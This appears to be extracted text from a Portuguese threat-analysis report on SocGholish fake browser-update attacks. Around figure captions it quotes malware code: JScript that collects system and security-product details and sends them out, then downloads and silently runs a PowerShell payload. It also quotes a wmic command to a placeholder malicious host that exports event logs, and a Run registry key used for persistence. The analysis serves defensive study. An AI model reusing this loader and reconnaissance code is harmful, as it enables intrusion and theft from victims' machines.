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Figura 1 – Diagrama de exemplo de ataque do SocGolish. 
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Figura 2 – Link de atualização falsa de navegador para entrega de JS malicioso. 

Figura 3 – Link de atualização falsa de navegador para entrega de JS malicioso. 
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Figura 4 – Link de atualização falsa de navegador para entrega de .zip  malicioso. 

"wmic /node:<dominiomalicioso>.remote.host process call create 
'wevtutil epl Security C:\\programdata\\<arquivodeevento>.evtx 
/q:Event[System[(EventID=4776)]]  
 

ar userdnsdomain = wsh.ExpandEnvironmentStrings('%userdnsdomain%') 
var username = wsh.ExpandEnvironmentStrings('%username%') 
var computername = wsh.ExpandEnvironmentStrings('%computername%') 
var processor_architecture = 
wsh.ExpandEnvironmentStrings('%processor_architecture%') 
var whoami = executeCmdCommand('whoami /all') 
req.push(['init_result', '1']) 
req.push(['ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin]) 
req.push(['PromptOnSecureDesktop', PromptOnSecureDesktop]) 
req.push(['osBuildNumber', osBuildNumber]) 
req.push(['osCaption', osCaption]) 
req.push(['whoami', whoami]) 
req.push(['userdnsdomain', userdnsdomain]) 
req.push(['username', username]) 
req.push(['computername', computername]) 
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req.push(['processor_architecture', processor_architecture]) 
req.push(['asproduct', ASProduct]) 
req.push(['processlist', processlist]) 
req.push(['servicelist', servicelist]) 
this['eval'](prepareRequest(req)) 

var req = []; 
req.push('b'); 
req.push('503'); 
req.push(selfName); 
req.push(ComputerName); 
req.push(UserName); 
req.push(Domain); 
req.push(dnsDomain); 
req.push(Manufacturer); 
req.push(Model); 
req.push(BIOS_Version); 
req.push(AntiSpywareProduct); 
req.push(AntiVirusProduct); 
req.push(MACAddress); 
req.push(ProcessList); 
this['eval'](request(req)); 

var execFileName = '2b5fdce5.ps1'; 
var fs = new ActiveXObject("Scripting.FileSystemObject"); 
var _tempFilePathExec = fs.GetSpecialFolder(2) + "\\" + execFileName; 
 

try { 
    var req = []; 
    req.push('d'); 
    req.push('503'); 
    var fileContent = request(req); 
    var stream = new ActiveXObject('ADODB.Stream'); 
    stream.Type = 2; 
    stream.Charset = "ISO-8859-1"; 
    stream.Open(); 
    stream.WriteText(fileContent); 
    stream.SaveToFile(_tempFilePathExec, 1); 
    stream.Close(); 
} catch (e) { 
    initExeption = 'error number:' + e.number + ' message:' + 
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e.message; 
} 
 
 

 
if (initExeption == ‘0’) { 
  try { 
    var wsh = new ActiveXObject(“WScript.Shell”); 
    runFileResult = wsh.Run(‘powershell -ep bypass -windowstyle hidden 
-f “‘ + _tempFilePathExec + ‘“‘, 0); 
  } catch (e) { 
    runFileExeption += ‘error number:’ + e.number + ‘ message:’ + 
e.message; 
  } 
} 
 

var req = []; 
req.push(‘c’); 
req.push(‘503’); 
req.push(_tempFilePathExec); 
req.push(runFileResult); 
req.push(initExeption); 
req.push(runFileExeption); 
this[‘eval’](request(req)); 
 

HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 
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Tabela 1 – Tabela MITRE ATT&CK. 
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